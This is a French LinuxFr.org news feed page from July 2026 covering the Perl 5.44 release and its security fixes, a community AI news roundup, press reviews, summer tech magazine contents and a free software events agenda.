Vue normale

Reçu aujourd’hui — 23 juillet 2026 LinuxFr.org : les dépêches

Perl 5.44 est sorti

Perl est un langage de programmation créé par Larry Wall en 1987 (Artistic License et GPL). La version 5.44.0 est parue le 15 juillet 2026. La précédente 5.42.0 était initialement parue en juillet 2025, avec un dernier correctif 5.42.2 publié en mars 2026.

Parmi les améliorations principales :

  • paramètres nommés dans les signatures
  • foreach avec plusieurs variables peuvent maintenant utiliser des alias de références
  • fonctionnement amélioré des motifs d’expressions régulières avec /xx
  • prise en charge d’Unicode 17.0
  • nouvelle source d’entropie pour l’initialisation du générateur de nombres pseudo-aléatoires

Mais aussi 3 correctifs sécurité, quelques incompatibilités, des améliorations de performances, de documentation, etc. Reportez-vous aux notes de version pour avoir tous les détails. La suite de la dépêche décrit les améliorations principales et les correctifs sécurité.

Améliorations principales

Paramètres nommés dans les signatures

Cette version de Perl apporte la possibilité de passer des paramètres de fonction par paire nom/valeur plutôt que par position.

sub f ($x, $y, :$alpha, :$beta = undef) { ... }
f( 123, 456, alpha => 789 );

Cette fonctionalité est considérée comme étant experimentale et est décrité en détail dans la partie "Signatures" de perlsub.

Les foreach avec plusieurs variables peuvent maintenant utiliser des alias de références

Perl version 5.22 avait apporté des alias à des références, permettant à la variable d’itération d’une boucle foreach de créer de nouveaux alias à une référence. Avec Perl 5.36, on pouvait itérer sur plusieurs variables à la fois dans une boucle foreach. Dans cette version de Perl, ces deux fonctionnalités peuvent être utilisées ensemble, ce qui permet d’avoir plusieurs variables d’itération, certaines pouvant être des alias de références.

use v5.44;
use feature qw( refaliasing declared_refs );
my %hash = (
    one => [1],
    two => [2, 2],
);
foreach my ( $key, \@items ) ( %hash ) {
    say "The $key array contains: @items";
}

Fonctionnement amélioré des motifs d’expressions régulières avec /xx

À titre expérimental, le modificateur de motif /xx permet aux classes de caractères (par exemple, [a-zA-Z]) de s’étendre sur plusieurs lignes et de contenir des commentaires ; il signale également les cas potentiels où une partie du motif a été interprétée comme un commentaire au lieu de l’interprétation voulue. Ce comportement est activé par la directive use feature "enhanced_xx". Voir la section « /x et /xx » dans la documentation perlre.

Prise en charge d’Unicode 17.0

Le support Unicode de Perl passe à la version 17.

Nouvelle source d’entropie pour l’initialisation du PRNG

Perl utilise désormais l’appel système getentropy() pour obtenir des octets aléatoires adaptés à l’initialisation de son PRNG interne. Auparavant, Perl lisait des octets bruts depuis le périphérique /dev/urandom. Perl procède désormais à cette initialisation dans l’ordre suivant (en passant à l’étape suivante en cas d’échec) :

  • getentropy() sur les systèmes prenant en charge cet appel (Linux, BSD, macOS)
  • /dev/urandom sur les systèmes qui en disposent
  • Une empreinte (hash) de variables d’état internes : temps Unix, identifiant de processus et valeur de pointeur

Notez que le PRNG interne ne convient toujours pas aux applications nécessitant une sécurité élevée. Consultez la section « rand EXPR » dans perlfunc pour les aspects liés à la sécurité.

Securité

CVE-2026-8376 - Débordement de tampon dans Perl_study_chunk

La fonction Perl_study_chunk, située dans regcomp_study.c, vérifiait la taille du tampon de sous-chaîne concaténée en nombre de caractères plutôt qu’en octets. Dans une version 32 bits, ceci peut entraîner un débordement de tampon, provoquant des écritures hors limites.

CVE-2026-57432 - Débordement de tampon dans S_measure_struct

Si l’on appelle pack ou unpack pour traiter une structure dont la taille calculée est trop importante pour tenir en mémoire, un dépassement d’entier peut arriver et entraîner un débordement de tampon. Ce cas de figure se produit généralement lorsque l’on utilise un nombre élevé comme facteur de répétition pour un élément.

CVE-2026-13221 - Regex trie 16-bit field overflow

L’optimisation de type « trie » (arbre de recherche) du moteur d’expressions régulières pouvait subir un dépassement lors du traitement d’une alternance comportant plus de 65 000 branches. Cela pouvait entraîner à la fois des faux positifs et des faux négatifs pour ces expressions régulières.

Commentaires : voir le flux Atom ouvrir dans le navigateur

Reçu hier — 22 juillet 2026 LinuxFr.org : les dépêches

L'April invite à participer à la « Fête des Possibles » 2026 pour toucher de nouveaux publics

22 juillet 2026 à 07:22

Une nouvelle édition de la Fête des Possibles, initiée et coordonnée par le Collectif pour une Transition Citoyenne, aura lieu du 11 septembre au 11 octobre 2026. Des centaines d'événements seront organisés partout en France et en Belgique pour valoriser les actions concrètes en faveur d'un avenir plus durable et solidaire.

Le logiciel libre a toute sa place dans cette dynamique ! Ainsi, l'April, partenaire de la Fête des Possibles, invite les organisations locales de promotion du logiciel libre à proposer un voire plusieurs rendez-vous dans le cadre de cette initiative.

Logo Fête des Possibles

Comment participer ?

  • Si vous avez déjà prévu un événement autour du logiciel libre ou de la culture libre entre le 11 septembre et le 11 octobre, pensez à l'ajouter sur le site de la Fête des Possibles, en indiquant la thématique « Vivre et faire autrement » ;
  • Vous pouvez aussi proposer un rendez-vous ad hoc pour la Fête des Possibles ! Dans ce cas, n'hésitez pas à l'ajouter sur le site de l'initiative dès que vous connaissez la date, il sera toujours possible d'affiner la présentation plus tard ;​
  • Vous pouvez, sans doute aussi, vous « greffer » à un événement déjà prévu, en proposant à l'organisation de prévoir de la place pour de la sensibilisation au logiciel libre : vérifiez sur la carte des rendez-vous si des événements sont déjà programmés près de chez vous.
  • Votre événement se déroule en ligne ? Le formulaire de soumission permet de l’indiquer !

Le bon réflexe

N'oubliez pas d'inscrire votre événement également sur l'Agenda du Libre, en ajoutant le mot-clé fete-des-possibles-2026. Cela permettra à l'April de mettre en valeur la contribution des organisations locales de promotion du Libre à la Fête des Possibles 👍

Préparez dès maintenant votre événement, et rendez-vous du 11 septembre au 11 octobre 2026 pour agir avec la Fête des Possibles !

Commentaires : voir le flux Atom ouvrir dans le navigateur

Reçu — 21 juillet 2026 LinuxFr.org : les dépêches

TacTic, une ASBL Tip Top - « Libre à vous ! » du 7 juillet 2026 - Podcasts et références

21 juillet 2026 à 16:48

282ᵉ émission « Libre à vous ! » de l’April. Podcast et programme :

  • sujet principal : « Tactic, une ASBL Tip Top » (Association sans but non lucratif)
  • la chronique Le truc que (presque) personne n’a vraiment compris mais qui nous concerne toutes et tous de Benjamin Bellamy : « Conseils de lectures pour l’été »
  • la chronique Que libérer d’autre que du logiciel avec Antanak, sur « Les assises de l’attention » (rediffusion du 10 février 2026)

C'était la dernière émission de cette 9ᵉ saison de «  Libre à vous ! »

On se retrouve en septembre, sans doute le 8, pour une nouvelle saison.

Toujours en direct chaque mardi de 15 h 30 à 17 h sur 93,1 FM en Île‐de‐France et sur le site Web de la radio Cause Commune.

En attendant, si vous avez manqué une émission ou envie de réécouter un sujet qui vous a particulièrement plu, nous vous proposons cette page bien pratique qui regroupe l'ensemble des podcast, par émission et par sujet

Nous vous souhaitons bonne écoute et un très bel été

Commentaires : voir le flux Atom ouvrir dans le navigateur

Reçu — 20 juillet 2026 LinuxFr.org : les dépêches

Revue de presse de l’April pour la semaine 29 de l’année 2026

Par : echarp
20 juillet 2026 à 09:32

Cette revue de presse sur Internet fait partie du travail de veille mené par l’April dans le cadre de son action de défense et de promotion du logiciel libre. Les positions exposées dans les articles sont celles de leurs auteurs et ne rejoignent pas forcément celles de l’April.

[Les Echos] Aussi efficace, moins cher mais moins déployé… le paradoxe de l'IA open source (€)

✍ Florian Dèbes, le dimanche 19 juillet 2026.

A l’image du nouveau modèle Kimi K3 de Moonshot AI, l’open source chinoise vient mordre les talons des champions américains comme Anthropic et OpenAI. Mais les Américains gardent une longueur d’avance dans les entreprises.

Et aussi:

[Numerama] «Sans exception», Musk promet l'open source total de X

✍ Amine Baba Aissa, le mercredi 15 juillet 2026.

Elon Musk a promis, sur X, de publier l’intégralité du code source de la plateforme une fois une revue de sécurité achevée. Mais sa précédente promesse de transparence, plus limitée, montre déjà les limites de l’exercice.

[clubic.com] La France dépend à 80 % des logiciels américains, déplorent les députés, qui militent pour l'open source

✍ Alexandre Boero, le jeudi 4 juin 2026.

Après plusieurs mois d’auditions, la commission d’enquête parlementaire sur les vulnérabilités numériques de la France a rendu son verdict mercredi. Elle déplore la dépendance massive aux géants américains et fait des propositions fortes pour bâtir une véritable souveraineté numérique.

Et aussi:

Commentaires : voir le flux Atom ouvrir dans le navigateur

Reçu — 18 juillet 2026 LinuxFr.org : les dépêches

Appel à projets tuteurés colibre 2026-2027

Cette année encore (mais pour la dernière fois) la licence professionnelle en communication CoLibre, de l'Université Lyon2, vous invite à proposer une action de communication pour votre structure (association, collectif, entreprise…) qui fera l'objet d'un projet tuteuré pour un des groupes de notre promotion 2026-2027.

L'appel est ouvert jusqu'au 15 septembre (sans possibilité d'allongement).

Logo de la licence professionnelle en communication CoLibre, de l'Université Lyon2

Il est important de penser que l'action fera d'abord l'objet d'une étude de faisabilité et, dans la mesure du possible, sera réalisée par le groupe qui en a la charge.

Il faut garder en tête que les étudiantes et étudiants ne doivent utiliser que des logiciels libres pour réaliser leurs travaux et que par ailleurs tous les frais engagés doivent être pris en charge par l'offreur.

Par expérience, il est important que la structure soit en mesure de venir rencontrer le groupe ou le faire venir "en vrai", il faut aussi avoir une part de disponibilité pour une réunion mensuelle minimum avec le groupe et considérer le groupe comme force de proposition et pas seulement comme exécutant à pas cher d'une action de communication.

Le formulaire de proposition est disponible sur le site de la promotion tout comme des informations sur les projets tuteurés passés.

Commentaires : voir le flux Atom ouvrir dans le navigateur

Reçu — 17 juillet 2026 LinuxFr.org : les dépêches

Podcast Projets Libres saison 4 épisode 21 : postmarketOS, Linux pour faire durer votre smartphone pendant 10 ans !

Podcast Projets Libres saison 4 épisode 21 : postmarketOS, Linux pour faire durer votre smartphone pendant 10 ans !

L'équipe de Projets Libres est ravie de vous présenter un épisode de la série sur la libération des smartphones, dédié à la distribution Linux mobile postmarketOS.
Dans ce long entretien avec Antoine Martin et Ranny Bergamotte, deux contributeurs de confiance du projet, nous abordons une variété de sujets :

  • l'histoire du projet
  • ses différentes composantes (système, environnements de bureau, etc)
  • son équipe
  • son organisation
  • sa gouvernance et ses évolutions actuelles
  • son rapport avec les différents projets upstream
  • son financement
  • son système de tests matériel distribué par internet (hardware-CI)

Nous remercions chaleureusement Ranny pour sa réécriture complète de la traduction anglaise.

Commentaires : voir le flux Atom ouvrir dans le navigateur

Reçu — 14 juillet 2026 LinuxFr.org : les dépêches

Veille communautaire sur des intelligences artificielles du mois de mai 2026

14 juillet 2026 à 15:56

La série de dépêches de LinuxFr.org sur la veille concernant des intelligences artificielles a repris depuis le 16 mai 2026 avec une nouvelle formule.

Cette série perpétue l’initiative de valoriser les contenus pertinents des contributrices et contributeurs de LinuxFr.org en rapport avec des IA tels que les dépêches, journaux et liens. L’ajout des synthèses de la plupart des articles de presse et des contributions de la communauté LinuxFr.org sont proposés être envisagé à terme, selon les disponibilités des bénévoles.

Mème "C’est la même image" entre une photo originale et un deepfake grossier par les gens qui ne lisent pas la veille communautaire de LinuxFr.org
(Mème original : They're the same picture, captures d'écran de la série « The Office » (US), épisode « Search Committee » diffusé en 2011. Version Framamèmes dessinée en avril 2025 par Gee (CC-0).)

    Sommaire

    Avant-propos

    NB: si vous avez déjà pris connaissance de la première dếpêche «nouvelle formule»1 et que vous n’êtes pas intéressé(e) pour consulter les résultats définitifs du sondage sur la reprise de la série, vous pouvez aller directement à la partie «Quelques statistiques sur les contenus retenus»

    Cette dépêche est dédiée à la veille sur des intelligences artificielles2 faite par des contributions communautaires sur des contenus de LinuxFr.org et reprend une partie de l’initiative amorcée par la série « Nouvelles sur l’IA »3 qui s’est arrêtée le 6 avril 20264 5.

    Comme recenser au fil de l’eau du contenu communautaire pertinent demande un travail conséquent pour la rédaction de la dépêche, la décision de continuer la série sous une nouvelle formule a été faite à la vue des résultats d’un sondage publié le 1er mai 2026.6 7

    La première dépêche de la série publiée le 16 mai 20261 a été primée comme meilleure contribution de mai 2026 par l’équipe de LinuxFr.org8.

    Méthodologie de sélection des contenus communautaires

    Comme dans la précédente série des « Nouvelles sur l’IA », les contenus communautaires sont répertoriés selon ces deux critères :

    • La présence d’une étiquette intelligence_artificielle9 (indication d’un rapport avec le thème de la dépêche)
    • Un score strictement supérieur à zéro au moment du recensement

    Certains contenus non recensés en raison du second critère peuvent être visualisés en s’aidant de la recherche par étiquette9.

    Quelques statistiques sur les contenus retenus

    Du 1er mai au 31 mai, les contenus retenus sont:

    • 4 dépêches
    • 13 journaux
    • 2 posts de forum
    • 1 sujet de suivi
    • 70 liens

    Au total, 90 contenus répondant aux critères de sélection sont recensés dans la présente dépêche.

    Focus sur…

    Dans cette seconde dépêche, des synthèses10 sont proposées sur les sujets concernant l’incidence de l’IA générative sur les visites de site web et la détection des deepfakes.

    L’incidence de l’IA générative sur les visites de site web

    Le lien suivant est un article provenant de la communauté francophone de Minecraft :

    Elle est relayée par Benoît Sibaud car elle fait écho à la situation qu’a subi LinuxFr.org avec les activités des bots IA.

    L’équipe du site Minecraft.fr a constaté une situation paradoxale depuis la concurrence des plaformes d’IA générative grand public avec des moteurs de recherche conventionnels. D’un côté, les statistiques de recherche par mot clé mise à disposition indique une augmentation des apparitions de Minecraft.fr dans les réponses aux requêtes. D’un autre côté, la fréquentation effective du site par des utilisateurs a diminué, ce qui occasionne une perte de recette du site par la publicité ciblée.

    L’équipe de Minecraft incrimine la fonction de résumé de texte par des IA génératives grand public comme responsable de la baisse des recettes publicitaires couplés à une hausse des charges due aux scannages du site par des bots IA.

    La détection des deepfakes

    Le lien suivant est un article provenant de la revue scientifique américaine Science:

    L’article en ligne retrace les travaux11 de Hany Farid, un enseignant-chercheur de l’Université de Berkeley qui s’était distingué pour établir l’authenticité d’une vidéo sur l’attaque par erreur d’une école primaire en Iran par l’armée américaine durant l’opération Epic Fury en février 2026.

    L’enseignant-chercheur détaille certaines techniques, la plupart manuelles mais relativement simples, qui s’appuient sur les défauts des IA génératives. Parmi celles-ci, l’usage des lignes de fuite pour vérifier la cohérence des images permet de détecter de manière efficace la plupart des deepfakes.

    Vers la fin de l’article du magazine, l’enseignant-chercheur confie sa difficulté croissante à analyser les vidéos suspectes suite à l’explosion du nombre de deepfakes fabriqués et avertit que son savoir-faire, bien qu’il contribue à compliquer la tâche de la plupart des acteurs malveillants, ne permettrait pas de détecter du faux contenu à 100%.

    Une sélection des contenus par thème

    Les thèmes ci-dessous sont proposés pour aider des lectrices et des lecteurs à retrouver les contenus qui les intéressent. Les thèmes sont pour le moment suggérés manuellement par des contributrices et des contributeurs à la dépêche.10

    Campus IA et Choose France

    Liens

    Centres de donnée

    Liens

    Communauté de LinuxFr.org

    Journaux

    Forum

    Suivi

    Cybersécurité

    Liens

    Éducation

    Lien

    Économie et droit

    Journal

    Liens

    Environnement

    Liens

    Internet mort

    Liens

    Mondes artistiques et culturels

    Lien

    Logiciels libres

    Liens

    Jeux vidéos

    Journal

    Programmation

    Journaux

    Forum

    Liens

    Recherche scientifique

    Liens

    Religion

    Liens

    Retour d’expérience

    Forum

    Revues de presse

    Revue de presse de LinuxFr.org

    Revue de presse de l’April

    Santé

    Liens

    Société

    Journaux

    Liens

    Souveraineté

    Journaux

    Liens

    Annexe

    Contenus recensés par ordre chronologique

    Ci-dessous sont rassemblés des contenus sélectionnés dans l’ordre chronologique, dont une partie qui n’ont pas été classés parmi les thèmes.

    Dépêches

    Journaux

    Forum

    Suivi

    Liens

    Source de la première illustration en haut de la dépêche

    L’illustration a été créée depuis un modèle de framamème12 13 en licence CC014, avec l’assistance de Krita.


    En complément, afin de remercier les lectrices et lecteurs qui ont pu prendre connaissance de l’ensemble de la dépêche, nous vous proposons la montée de l’IA (pour « Intelligence Aviaire ») vue par Cepper, une cousine germaine de Pepper15 16 :

    Mini Fantasy Teather 28, par David Revoy


    1. https://linuxfr.org/news/veille-communautaire-sur-des-intelligences-artificielles-du-mois-d-avril-2026 

    2. Le terme « intelligence artificielle » regroupe en fait plusieurs définitions qui n’ont pas toujours fait consensus. Voir la page wikipédia sur leur définition et les techniques associées pour plus de précisions. 

    3. L’ensemble des « Nouvelles sur l’IA » sont accessibles avec le tag dédié nouvelles_sur_l_ia 

    4. La dernière dépêche de la série est consultable sur https://linuxfr.org/news/nouvelles-sur-l-ia-de-mars-2026 

    5. Le contributeur Moonz< a motivé son arrêt de la série de dépêche par le commentaire https://linuxfr.org/news/nouvelles-sur-l-ia-de-mars-2026#comment-2018598 

    6. À la clôture du sondage le 24 mai 2026 à 20h10 CEST, 55.4 % de vote sont favorables à la reprise de la série; 17.6 % de votes défavorables, 7.9 % de votes indécis, et 19.1 % de votes « pas vraiment sérieux ». Pour plus de détails, rendez-vous sur le sondage correspondant 

    7. Sur les 55.4 % de votes favorables à la reprise de la série, 70.5 % de votes viennent pour la réponse « Oui, même en l’absence de la synthèse des articles » et 29.5 % de votes pour la réponse « Oui, à condition de continuer la synthèse d’une partie des articles ». 

    8. https://linuxfr.org/news/meilleures-contributions-linuxfr-org-les-primees-de-mai-2026 

    9. Le lien de recherche par le tag dédiée est https://linuxfr.org/tags/intelligence_artificielle/public 

    10. La présente dépêche ne fait pas appel à des grands modèles de langage à cause de l’impopularité de ces outils parmi le public de LinuxFr.org pour la rédaction des articles. Voir le sondage suivant pour se faire une idée : https://linuxfr.org/sondages/faut-il-accepter-les-contenus-generes-par-ia-sur-linuxfr-org 

    11. Distinguishing Authentic from AI-Generated Explosions using Spatiotemporal Dynamics 

    12. Un générateur de mème proposé par Framasoft : https://framamemes.org/ 

    13. Modèle utilisé : They're the same picture 

    14. Voir cette notice explicative : https://creativecommons.org/publicdomain/zero/1.0/deed.fr 

    15. Un personnage provenant de la BD en ligne libre Pepper & Carrot 

    16. Des informations détaillées concernant la BD originelle sont consignées sur Wikipédia 

    Commentaires : voir le flux Atom ouvrir dans le navigateur

    Revue de presse de l’April pour la semaine 28 de l’année 2026

    Par : echarp
    14 juillet 2026 à 11:24

    Cette revue de presse sur Internet fait partie du travail de veille mené par l’April dans le cadre de son action de défense et de promotion du logiciel libre. Les positions exposées dans les articles sont celles de leurs auteurs et ne rejoignent pas forcément celles de l’April.

    [Frandroid] Windows passe sous les 60 % de parts de marché sur PC de bureau

    ✍ Ulrich Rozier, le jeudi 9 juillet 2026.

    Windows repasse sous la barre des 60 % des ordinateurs de bureau dans le monde, une première depuis des années. Linux, lui, s’installe durablement au-dessus des 4 %.

    [LCP - Assemblée Nationale] Numérique: le rapport de la commission d'enquête sur les vulnérabilités de la France a été adopté

    ✍ Adèle Daumas, le mercredi 8 juillet 2026.

    Les députés de la commission d’enquête sur les ‘vulnérabilités systémiques dans le secteur du numérique et les risques pour l’indépendance de la France’ ont adopté, ce merceredi 8 juillet, le rapport rédigé par Cyrielle Chatelain (Ecologiste et social). Les conclusions et les recommandations du rapport seront rendues publiques la semaine prochaine.

    [Les Echos] «A un moment, il faut faire un arbitrage de coûts»: ces entreprises qui utilisent déjà des modèles d'IA chinois (€)

    Le lundi 6 juillet 2026.

    Entre tensions géopolitiques, restrictions américaines sur les modèles avancés et explosion des factures, les entreprises se tournent vers des modèles d’IA chinois en open source, malgré leurs orientations controversées.

    Commentaires : voir le flux Atom ouvrir dans le navigateur

    Reçu — 13 juillet 2026 LinuxFr.org : les dépêches

    ? Revue de presse — été 2026

    13 juillet 2026 à 13:13

    Il fait trop chaud pour laisser un ordinateur allumé chez vous, qui va forcément générer des degrés celsius supplémentaires. C'est le bon moment pour ouvrir un magazine papier. Voici donc l'édition estivale de notre petit panorama, forcément subjectif et parti{e,a}l, de la presse papier (et en ligne) disponible en ce milieu d'année. Et comme c'est l'été, on se permet de déborder un peu pour ne pas parler qu'informatique libre, mais aussi jeux…

    Image une de Journal

    Voici donc les nouveautés des éditions Diamond sorties en ce début d'été et disponibles jusqu'à fin août, peu ou prou.

    • GNU/Linux Magazine France no 282 : du Deep Learning et du python pour détectez les constructions illégales sur des jeux de données IGN ;
    • SysOps Pratique no 156 fait tourner un LLM chez vous. Bref, #IA et #Souveraineté ;
    • MISC magazine no 146 vous propose une trilogie d'attaque sur Windows Defender ;
    • Hackable no 67 installe une surveillance vidéo dopée à l'IA, mais sans cloud ;
    • MISC hors-série no 36 pirate l'humain avec son dossier consacré à l'ingénierie sociale.

    Auxquels nous ajoutons pour le plaisir le hors-série no19 Jeux de plateau de Canard PC car nous savons qu'une partie des LinuxFrisés est aussi amatrice de jeux de société. Leur dossier est consacré à la triche ! Vous aurez tout l'été pour peaufiner vos techniques pour détecter vos amis tricheurs !

    Bonnes lectures !

    Les sommaires des numéros de l'été 2026

    Mosaïque des couvertures GLMF 282 Mosaïque des couvertures SOP 156 Mosaïque des couvertures MISC 146 Mosaïque des couvertures HK 67 Mosaïque des couvertures MISC HS 36
    Mosaïque des couvertures Jeux de plateau HS 19  

    GNU/Linux Magazine numéro 282

    Au sommaire de ce numéro de juillet — août 2026 :

    • Quarkus par la pratique ;
    • (Re)Découvrons Ada ensemble !
    • Les codes fantastiques : vous ne passerez pas (deux fois) ;
    • Détectez les constructions illégales avec le Deep Learning sur des jeux de données IGN ;
    • L’horloge du Lapin Blanc : chroniques post-quantiques des signatures PDF ;
    • Démystifions la commande dc, 2e volet : étudions les macros.

    SysOps Pratique numéro 156 (ex Linux Pratique)

    Au sommaire de ce numéro de juillet — août 2026 :

    • Piloter la gestion des risques dans une organisation grâce à la méthode EBIOS ;
    • Cron en pratique : automatiser efficacement les tâches système ;
    • Avoir un LLM qui tourne sur site ;
    • Atuin : synchronisez votre historique shell entre toutes vos machines ;
    • Sécurisez votre accès Internet avec un routeur OpenWrt ;
    • Vers un cluster Kubernetes auto-résilient ;
    • L'Infra as a Conversation : reprenez le contrôle de Terraform avec Atlantis.

    MISC Magazine numéro 146

    Au sommaire de ce numéro de juillet — août 2026 :

    • BlueHammer, RedSun et UnDefend : la trilogie zero-day qui transforme Windows Defender en vecteur d'élévation ;
    • Top des chemins d’attaque vus en pentest ;
    • Exploiter un driver vulnérable Lenovo pour neutraliser n’importe quel EDR - CVE-2026-2640 ;
    • Schémas Android : des biais cognitifs au brute-force embarqué ;
    • De la collecte au parsing : KAPE comme accélérateur d’investigation Windows ;
    • Durcissement du boot Linux : TPM et OTP pour renforcer la sécurité du démarrage ;
    • Déployer d'abord, sécuriser jamais : l'IA entre productivité et chaos de sécurité.

    Hackable numéro 67

    Au sommaire de ce numéro de juillet — août 2026 :

    • Ethernet et ESP32 avec le tout nouveau ESP-IDF 6.0 : vers une sonde de surveillance réseau ;
    • Un cluster de Raspberry Pi Pico pour explorer le monde de la communication réseau ;
    • Construisez votre vidéosurveillance intelligente sans cloud ;
    • Une idée (presque) tordue pour le framework FPGA LiteX : le remote build ;
    • Les sondes JTAG du pauvre, ou comment configurer un FPGA sans se ruiner ;
    • Satellites météo : APT s’éteint, que devient le LRPT ?

    MISC hors‑série numéro 36

    Au sommaire de ce numéro hors-série de juin — juillet 2026 :

    • Sécuriser l’Espace : entretien avec Julien Airaud, Expert Senior en Cybersécurité Spatiale au CNES ;
    • Dossier : Le social engineering :
      • L’ingénierie sociale : de la théorie à la pratique ;
      • Votre cerveau a une 0-day : le système 3 et les angles morts de la défense cognitive ;
      • Approche sociologique sur l'épistémologie de l'ingénierie sociale et de l'OSINT ;
      • Manipulation des modèles comme surface d'attaque : terrain de jeu fertile pour la Red Team ?
      • Voir ne suffit plus à croire : comment rétablir la confiance dans le numérique ?
      • De l’ingénierie sociale à la guerre cognitive : influences et manipulations de l’information à grande échelle ;
      • L’influence au service de la souveraineté ;
      • Des statues qui pleurent aux voix clonées : 2000 ans d'arnaques identiques ;
    • Here be dragons, le risque humain comme enjeu stratégique.

    Canard PC hors‑série Jeux sur un plateaux, numéro 19

    Au sommaire de ce numéro hors-série de juillet — août 2026 :

    • Dossier : La triche
      • La triche à travers l´histoire ;
      • La triche est-elle inévitable ?
      • Les plus grands scandales de triche ;
      • Dans la tête des tricheurs ;
    • Tests :
      • Familiaux Panorama, L´encyclopédie des Monstres, First Giants, Bunny Kingdom Town…
      • Solo/Duo Leda, Ace of Spades ;
      • Party games Vroom, Hot Streak ;
      • Cartes The Last Wizard ;
      • Gestion Diktat, Heroes Write & Conquer, Star realms - Rise of Empire, Recall ;
      • Stratégie Feya´s Swamp, Night Soil, The Old King´s Crown ;
      • Dans les tuyaux Fragments - Solara ;
      • Extension Shackleton Base ;
      • Import Misfits ;
    • Les autres dossiers
      • Portrait : Fanelia ;
      • Modder ses jeux de plateau ;
      • Les dés pimpés ;
      • Le capitalisme dans les jeux ;
      • Le jeu peut-il faire voyager ?
      • Les jeux régressifs ;
    • Jeux de rôle
      • Tests: Drama Lamas, Voltige, Notre-Dame de Paris ;
      • Dans les tuyaux Triangle Agency ;
      • Le jeu de rôle à l´hôtel.

    Commentaires : voir le flux Atom ouvrir dans le navigateur

    ? Meilleures contributions LinuxFr.org : les primées de juin 2026

    13 juillet 2026 à 05:50

    Nous continuons sur notre lancée de récompenser celles et ceux qui chaque mois contribuent au site LinuxFr.org (dépêches, commentaires, logo, journaux, correctifs, etc.). Vous n’êtes pas sans risquer de gagner un livre des éditions Eyrolles, ENI et D-Booker. Voici les gagnants du mois de juin 2026 :

    Les livres gagnés sont détaillés en seconde partie de la dépêche. N’oubliez pas de contribuer, LinuxFr.org vit pour vous et par vous !

    Les livres 📚 sélectionnés

    Bandeau LinuxFr.org

    Certaines personnes n’ont pas pu être jointes ou n’ont pas répondu. Les lots ont été réattribués automatiquement. N’oubliez pas de mettre une adresse de courriel valable dans votre compte ou lors de la proposition d’une dépêche. En effet, c’est notre seul moyen de vous contacter, que ce soit pour les lots ou des questions sur votre dépêche lors de sa modération. Tous nos remerciements aux contributeurs du site ainsi qu’aux éditions Eyrolles, ENI et D-Booker.

    Logo éditions ENI Logo éditions Eyrolles Logo éditions B-BookeR
         

    Commentaires : voir le flux Atom ouvrir dans le navigateur

    Reçu — 12 juillet 2026 LinuxFr.org : les dépêches

    Agenda du Libre pour la semaine 29 de l'année 2026

    Calendrier Web, regroupant des événements liés au Libre (logiciel, salon, atelier, install party, conférence) annoncés par leurs organisateurs. Voici un récapitulatif de la semaine à venir. Le détail de chacun de ces 28 événements (France: 22, Québec:5, Internet: 1) est en seconde partie de dépêche.

    Sommaire

    [FR Saint Clar] Tous les Lundis, médiathèque de Saint Clar – Le lundi 13 juillet 2026 de 10h00 à 17h00.

    Tous les lundis de 10h à 17h sans interruption, l’association Prends-toi en main / atelier abcpc, propose install party, suivi, dépannage, formation et revalorisation à petit prix sous Linux exclusivement.

    L’atelier abcpc existe depuis plus de 10 ans et milite exclusivement pour les logiciels libres.

    [FR Saint-Étienne] Permanence de l’association Alolise – Le lundi 13 juillet 2026 de 19h00 à 22h00.

    Tous les lundis soir de 19h à 22h (hors jours fériés) à la Bricoleuse.

    Rencontrer les bénévoles, poser des questions sur le libre ou l’informatique, les logiciels, l’hébergement, passer de Windows à Linux.

    Pour passer votre ordinateur sous Linux, nous vous invitons à nous prévenir avant votre passage: contact@alolise.org.

    [FR Montpellier] Permanence | Wikipermanence – Le lundi 13 juillet 2026 de 19h00 à 22h00.

    Une Wikipermanence est une rencontre physique entre des Wikipédiens chevronnés et de nouveaux ou futurs Wikipédiens qui souhaitent acquérir des connaissances et des conseils sur le fonctionnement de Wikipédia.

    Il ne s’agit pas d’une simple rencontre entre Wikipédiens : la Wikipermanence organisée par le groupe local de Montpellier est là pour répondre aux questions, permettre des démonstrations, offrir une aide aux premiers pas et permettre un suivi.

    Pour cette soirée, chacun amène ce qu’il veut à manger et à boire pour un repas partagé.

    Cette rencontre nous permettra d’aborder les sujets suivants :

    Le programme :

    • Information sur la communauté Wikipédia ;
    • Initiation des débutants ;
    • Nous contribuerons sur la mise à jour des différentes pages, sur les Wikipermanences que Montpel’libre organise à Montpellier ;
    • Atelier d’écriture ;
    • Échanger d’expériences ;
    • Proposition d’éditathon ;
    • Contributions libres ; *…et tout simplement, passer un moment convivial.

    Si vous avez des propositions, n’hésitez pas à compléter la page dédiée sur Wikipédia.

    N’hésitez pas à venir: c’est sans inscription, et vous l’aurez deviné, libre et gratuit !

    Wikipédia est une encyclopédie libre rédigée collaborativement par des milliers d’internautes. Mais, saviez-vous que vous pouviez y participer ?

    En apportant des connaissances, en créant ou améliorant des articles, en prenant des photos, ou simplement en corrigeant des fautes, vous pouvez contribuer à ce grand projet d’encyclopédie collaborative.

    Alors, venez participer aux rendez-vous des Wikipermanences de Montpellier qui auront lieu à l’Atelier de Pigistes, le deuxième lundi de chaque mois, de 19h00 à 22h00.

    Cet événement vous est proposé dans le cadre du partenariat qui lie le Club de la Presse, Wikimédia France, Wikimedia Foundation, Wikimedia Éducationet Montpel’libre.

    Inscription | GPS 43.60302/3.89809

    https://montpellibre.fr/fiches_activites/Fiche_010_Montpellibre_Permanence_Wikipermanence_Cabalherault.pdf

    [FR Sainte-Hélène] Cours gratuits d’Espéranto + Visio – Le lundi 13 juillet 2026 de 19h30 à 21h30.

    Saluton,

    Je vous propose des cours d’espéranto gratuits qui débuteront le lundi 8 juin à Sainte-Hélène dans le Médoc et qui sera également disponible en visioconférence.
    Le cours est destiné aux apprenants francophones de France et d’ailleurs.

    L’espéranto est plus qu’une langue neutre et très facile, mais aussi une langue fraternelle et libre qui permet de voyager dans de nombreux pays avec des facilités d’hébergement ou de fraterniser avec des personnes du monde entier.
    Vous trouverez plus d’informations sur la page Wikipédia, le site Espéranto-Gironde ou en visualisant le documentaire "ESPÉRANTO: de la genèse à la conquête de l’Europe"

    Les cours ont lieu le lundi soir de 19h30 à 21h30 sur environ 10 soirs pour réaliser les 10 leçons. Ces leçons complèteront les cours papier ou d’application telle que Duolingo.
    Début: lundi 8 juin 2026.
    Les cours sont GRATUITS pour tous.

    Le cours est en présentiel à Sainte-Hélène (33480) au foyer des sociétés en collaboration avec l’association l’Écurieux, ainsi qu’en distanciel / visioconférence.
    Ce cours est gratuit pour tous, en présentiel ou en distanciel.

